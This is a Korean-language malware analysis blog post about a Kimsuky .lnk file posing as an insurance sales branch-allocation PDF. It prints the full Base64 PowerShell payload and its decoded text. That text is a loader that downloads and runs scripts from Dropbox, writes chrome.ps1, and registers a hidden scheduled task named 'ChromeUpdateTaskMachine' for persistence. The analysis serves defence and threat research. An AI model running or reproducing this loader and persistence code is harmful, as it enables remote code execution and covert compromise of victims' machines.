김수키(Kimsuky)에서 만든 보험 사칭 악성코드-241002-2024년 GA영업본부 담당지점 배분(10월)(2025.1.31)

오늘은 언제나 존경도 하지도 않고 경애도 하지 않는 북한 정찰총국 산하 해킹 조직인 김수키(Kimsuky) 에서 만든 악성코드인 241002-2024년 GA영업본부 담당지점 배분(10월)(2025.1.31) 에 대해 알아보겠습니다.
파일명: 241002-2024년 GA영업본부 담당지점 배분(10월) v2.pdf.lnk
사이즈: 318,318 Bytes
MD5: 8a08fd5e8298c823e4ab356508d70490
SHA-1: 086be54505ef95d83be71d6b1e959610d36dc619
SHA-256: 71d56c61b765eee74dca65910ab9e0e2b35b21bcf6c97241ca7188a75f082f6f
해당 악성코드는 일단 기본적으로 파워셸(PowerShell)를 악용을 하고 있으며 해당 악성코드를 열어보면 Base64 로 돼 있는데 이것은 그냥 CyberChef로 풀어버리면 간단하게 해결을 볼 수가 있습니다.

악성코드에 포함된 코드

JGhoaCA9IEpvaW4tUGF0(a)CA(o)(W)1N5c3RlbS5JTy5QYXRoXTo6R2
V0VGVtcFBhdGgoKSkgIjI0MTAwMi0yMDI064WEIEdB7JiB7JeF67O467a
AIOuLtOuLuey(n)g)O(y)gkCDrsLDrtoQoMTDsm5QpIHYyLnBkZiI7IHd
nZXQgLVVyaSAiaHR0cHM6Ly9kbC5kcm9wYm94dXNlcmNvbnRlbn((Q)u)(Y)2(9)tL
3NjbC9maS92eDIzMzkxemR4cXUzcWlyYzV6N2(c)vMjQxMDAyLTIwMjQtR0EtMTAtd
jIucGRmP3Jsa2V5PWloNnNlb2NxN2NzYTRpYWIzbWQ0bTltMDgmc3Q9NnNqNHl5enA
mZGw9MCIgLU91dEZpbGUgJGhoaDsgJiAkaGhoOyAkcHBwID0gSm9pbi1QYXRoICgkZW
52Ok(F)w(c)ERhdGEpICJjaHJvbWUucHMxIjs(g)JHN0ciA9ICckYWFhID0gSm9pbi1
QYXRoICgkZW52OkFwcER(h)dGEpICJ0ZW1wLnBzMSI7IHdnZXQgLVVyaSAiaHR0cHM6
Ly9kbC5kcm9wYm94dXNlcmNvbnRlbnQuY29tL3NjbC9maS9nczU4dTZxdnZ4b3J6dH
R2MDl5dnQva3hzeGh4LXgudHh0P3Jsa2V5PXY4NnBkN2kybmptN3UwcG(Z)1dGwwa2
51Njgmc3Q9enkxdzZuNjcmZGw9MCIgLU91dEZpbGUgJGFhYTsgJiAkYWFhOyBSZW1vdmUt
SXRlbSAtUGF0aCAkYWFhIC1Gb3JjZTsnOyAkc3RyIHwgT3V0LUZpbGUgLUZpbGVQYXRoICR
wcHAgLUVuY29kaW5(n)(I)FVURjg7ICR(h)Y3Rpb24gPSBOZXctU2NoZWR1bGVkVGFza0Fj
dGlvbiAtRXhlY3V0ZSAnUG93ZXJTaGVsbC5leGUnIC1Bcmd1bWVudCAnLVdpbmRvd(1)N0e
WxlIEhpZGRlbiAtbm9wICAtTm9uSW50ZXJhY3RpdmUgLU5vUHJv(Z)(m)(l)sZSAtRXhlY3
V0aW9uUG9saWN5IEJ5c(G)FzcyAtQ29tbWFuZCAiJiB7JGFiYyA9IEpvaW4tUGF0aCAoJGV
udjpBcHBEYXRhKSBcImNocm(9)tZS5wczFcIjsgJiAkYWJjO30iJzsgJHRyaWdnZXIgPSBO
ZXctU2NoZWR1bGVkVGFza1Rya(W)(d)nZXIgLU9uY2UgLUF0IChHZXQtRGF0ZSkuQWRkTWl
udXRlcyg1KSAtUmVwZXRpdGlvbkludGVydmFsIChOZXctVGltZVNwYW4gLU1()pbnV0ZXMg
MzApOyAkc2V0dGluZ3MgPSBOZXctU2NoZWR1bGVkVGFza1NldHRpb(m)d(z)(U)2V0IC1Ia
WRkZW47IFJlZ2lzdGVyLVNjaGVkdWxlZFRhc2sgLVRhc2tOYW1lICJDaHJvbWVVcGRhdGVUY
XNrTWFjaGluZSIgLUFjdGlvbiAkYWN0aW9uIC1UcmlnZ2VyICR0cmlnZ2VyIC1TZXR0aW5nc
yAkc2V0dGluZ3M7ICAkYW(F)hID0gSm9pbi1QYXRoICgkZW52OkFwcERhdGEpICJzeXN0ZW1
fZmlyc3QucHMxIjsgd2dldCAtVXJpICJodHRwczovL2RsLmRyb3Bib3h1c2VyY29udGVudC5
jb20vc2NsL2ZpL3N1bWNoOG8xMmE0a283d3FxdHJnby9reH(N)4aHgtZi50eHQ/cmxrZXk9a
Th5dG81eGczdW5mZnM5d2F3aHl0dTF2NCZzdD15ajllcWxlcCZkbD0wIiAtT3V0RmlsZSAkY
WFhOyAmICRhYWE7IFJl
bW92ZS1JdGVtIC1QYXRoICRhYWEgL(U)ZvcmNlOw==

CyberChef Base64 디코딩 결과

$hhh = Join-Path ([System.(I)O.Path]::GetT(em)pPath())
"241002-2024년 GA영업(본)부 담당지점 배분(10월) v2(.)p
df"; wget -Uri "hxxps://dl.dropboxusercontent(.)com/scl
/fi/vx23391zdxqu3qirc5z7g/241002-2024-GA-10-v2(.)pdf?rlk
ey=ih6seocq7csa4iab3md4m(9)m08&st=6sj4yyzp&dl=0" -OutFil
e $hhh; & $hhh; $ppp = Join-Path ($en(v):AppData) "chrome
(.)ps1"; $str = '$aaa = Join(-)Path ($env:(Ap)pData) "tem
p.ps1"; wget -Uri "hxxps://dl(.)dropboxusercontent(.)com/s
cl/fi/gs58u6qvv(x)orzttv09yvt/kxsxhx-x.txt?rlkey=v86pd7i2nj
m(7)u0pfutl0knu68&st=zy1w6n67&dl=0" -OutFile $aaa; & ($)aaa
; Remove-Item -P(a)th $aaa -Force;'; $str | Out-File -Fil(e)
Path $ppp -Encoding UTF(8); $action = New-Sche(d)uledTaskAct
ion -Execute 'PowerShell(.)exe' -Argument '-Win(d)owStyle Hi
dden -nop  -Non(I)nteractive -NoProfile -ExecutionP(o)licy B
ypas(s) -Command "& {$abc = Joi(n)-Path ($env:A(p)pData) \"c
hrome(.)ps1\"; & $abc;}"'; $trigger = New-Sche(d)uledTaskTri
gger -Once -At (Get-Date).Add(M)inutes(5) -R(e)petitionInter
val ((N)ew-TimeSpan -Min(u)tes 30); $settings = New-(S)chedu
ledTaskSettingsSet -Hidden; Register-ScheduledTask -TaskName
"ChromeUp(d)ateTaskMachine" -Action $action -Trigger $trigge
r -Settings $settings;  $aaa = Join-Path ($env:AppData) "sys
tem_first.ps1"; wget -Uri "hxxps://dl(.)dropboxusercontent(.
)com/scl/fi/sumch8o12a4ko7wqqtrgo/kxsxhx-f.txt?rlkey=i8yto(5
)xg3unffs9wawhytu1v4&st=yj(9)eqlep&dl=0" -OutFile $aa
a; & $aaa; Remove-Item -Path $(a)aa -Force;

CyberChef 로 Base64 디코딩

코드 분석

1. 주요 기능 분석
악성 PDF 파일 다운로드 및 실행 
wget을 사용하여 Dropbox 에서 241002-2024년 GA 영업본부 담당지점 배분(10월) v2.pdf 파일을 다운로드
다운로드된 PDF 파일을 즉시 실행 (& $hhh)
PDF 파일은 다운로드 하지 못해서 어떤 내용인지 모르겠음
 2. 악성 스크립트 (chrome.ps1) 생성 및 예약 작업 등록
$ppp = Join-Path ($env:AppData) "chrome.ps1
AppData 폴더에 chrome.ps1이라는 파일을 생성
$str 변수에 추가 악성 스크립트를 다운로드하고 실행하는 코드 
해당 스크립트는 temp.ps1이라는 또 다른 악성 스크립트를 다운로드 및 실행하고 삭제
chrome.ps1에 $str 내용을 저장 추후 실행할 악성 코드 파일을 생성
3. 지속적인 실행을 위한 Windows 작업 스케줄러 등록
PowerShell을 숨겨진 창(-WindowStyle Hidden)으로 실행하도록 설정  
ExecutionPolicy Bypass 옵션을 사용해 실행 정책을 우회하여 차단 없이 실행  
$abc = Join-Path ($env:AppData) \"chrome.ps1\"; & $abc;
chrome.ps1 파일을 실행하여 추가 악성 행위를 수행  
ChromeUpdateTaskMachine 이라는 이름의 작업 스케줄러(Task Scheduler) 등록  
실행 트리거: 5분 후 실행되며, 이후 30분마다 반복 실행
시스템이 재부팅되더라도 자동 실행되도록 설정->지속성(Persistence) 확보  
4. 추가 악성 스크립트 다운로드 및 실행
Dropbox에서 system_first.ps1 파일을 다운로드 및 실행
실행 후 자기 자신을 삭제하여 흔적을 지움
해당 코드의 목적은 추가 악성 코드 실행 및 지속성 유지로 목적
대략 추측하면 백도어(Back door) 설치,키로거(Keylogger) 실행,정보 탈취(Infostealer) 목적이 가능성 매우 높음

chrome.ps1 내용

chrome.ps1 내용

$aaa = Join-Path ($env:AppData) "temp.ps1"; wget -Uri "
hxxps://dl(.)dropboxusercontent(.)com/scl/fi/gs58u6q(v)
vxorzttv09yvt/kxsxhx-x(.)txt?rlkey=v86pd7i2njm7u0pfutl0
knu68&st=zy1w6n67&dl=0" -OutFile $a
aa; & $aaa; Remove-Item -Path $aaa -Force;

코드 설명

1. 코드 분석 
$aaa 변수에 %AppData%\temp.ps1 경로를 저장
AppData 폴더는 일반적으로 사용자 데이터 저장 용도로 사용하지만, 악성코드는 이를 악용하여 숨김 실행 
Dropbox에서 kxsxhx-x.txt 파일을 내려받아서  temp.ps1로 저장
wget -Uri->원격 서버에서 파일 다운로드  
-OutFile $aaa->다운로드된 내용을 temp.ps1(PowerShell 스크립트)로 저장  
일단 자세한 내용은 앞서 이야기한 것처럼 PDF를 까보면 알 수가 있음